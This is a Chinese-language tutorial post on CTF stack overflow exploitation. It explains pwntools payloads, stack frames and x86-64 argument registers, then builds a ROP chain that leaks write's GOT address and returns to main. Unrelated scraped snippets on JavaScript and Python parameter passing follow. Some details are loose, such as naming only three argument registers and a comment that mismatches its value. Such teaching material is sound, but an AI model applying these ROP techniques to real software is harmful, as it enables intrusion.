對payload以及函式傳參的進一步理解

2021-10-12 17:39:44 字數 1805 閱讀 9422

模板:

payload=「a「*

0x88

p.sendline(payload)

在模板裡是先編造好payload,再在程式需要輸入時用sendline()將payload向程式輸入,程式接收payload對某些變數賦值。

例如:

read(0,&buf,0x200ull);
在與靶機互動時,靶機執行到read函式時,會需要我們輸入,這時我們輸入payload,程式會對buf字串賦值為88個a。

在呼叫子函式之前計算機會開闢一段棧空間,然後將子函式的引數從右至左依次入棧,再將呼叫子函式指令的下一條指令的位址入棧。

子函式呼叫引數並不是用「pop」指令而是引用(如:「mov eax,4(ebp)"),在恢復棧的同時會釋放子函式所相對的棧空間。

64位程式與32位程式不同,64位是用rdx、rsi、rdi三個暫存器傳參,進行子函式呼叫時程式會先將子函式的引數存入rdx、rsi、rdi,再執行call指令跳轉。

例如:

read(0,&buf,0x200ull);
彙編指令:

lea     rax, [rbp+buf]

mov edx, 200h ; nbytes

mov rsi, rax ; buf

mov edi, 0 ; fd

call _read

在這裡,主函式呼叫read函式時,先將200h、[rbp+buf]、0存入edx、rsi、edi中,再執行call _read;

payload=

'a'*

(offset+8)

#填充buf以及ebp

payload+=p64(pop_rdi_ret)

+p64(

0x1)

+p64(pop_rsi_r15_ret)

#填入"pop rdi;ret;"指令位址以及對應引數"0",在執行"pop rdi;"後"ret;"指令將返回至"pop rsi;pop r15;ret"指令位址處

payload+=p64(write_got)

+'deadbeef'

#write_got函式位址與'deadbeef'存入rsi與r15

payload+=p64(write_plt)

+p64(main_addr)

#"ret;"指令返回至write函式位址處,在執行完write函式後跳轉至main函式處繼續執行,main函式將繼續執行write函式

在這裡就有乙個問題,在payload編造開始時我們進行了一次對ebp的填充,而在payload編造最後填充了write函式位址後並未對ebp進行填充,為什麼?

首先要知道在子函式被主函式呼叫時,將當前ebp壓棧以及將main函式ebp出棧到ebp的操作是子函式執行的。

繼續回答上面的問題,這是因為在payload編造開始時,我們是在read函式正被呼叫時向程式輸入payload的,這時主函式呼叫子函式要進行的操作(將引數存入暫存器、將返回位址壓棧)以及子函式被呼叫時要進行的操作(將當前main函式ebp壓棧)已經執行完了,故在棧溢位利用時要考慮到子函式呼叫結束時對main函式ebp出棧的操作而填充ebp,避免將利用函式返回位址出棧到ebp、ret指令返回其他位址導致題目打不下來。

而在payload編造最後並未填充ebp的原因是;payload編造最後程式執行"ret write_plt"將write函式從被呼叫開始到呼叫結束完整的執行了一遍(包括執行"push ebp"「pop ebp」),所以不需要填充ebp。

js 變數以及函式傳參

一 變數 如下 1 let num 1 2 let num1 num 3 num num 2 4 console.log num,num1 輸出 1 let obj 2 let obj1 obj 3 obj.name tom 4 console.log obj,obj1 輸出 總結 基本型別在賦值新...

函式傳參以及函式的返回值

1.形式 其中在函式內部的a叫做形參,而呼叫函式裡的100叫做實參 function 在此處傳參 fn1 100 function fn1 a 可以相當於 fn1 100 function fn1 var a 100 但不能這麼寫2.也可以傳多個引數,如 fn1 100,px function fn...

python 函式傳參 傳參和傳引用

首先還是應該科普下函式引數傳遞機制,傳值和傳引用是什麼意思?函式引數傳遞機制問題在本質上是呼叫函式 過程 和被呼叫函式 過程 在呼叫發生時進行通訊的方法問題。基本的引數傳遞機制有兩種 值傳遞和引用傳遞。值傳遞 passl by value 過程中,被調函式的形式引數作為被調函式的區域性變數處理,即在...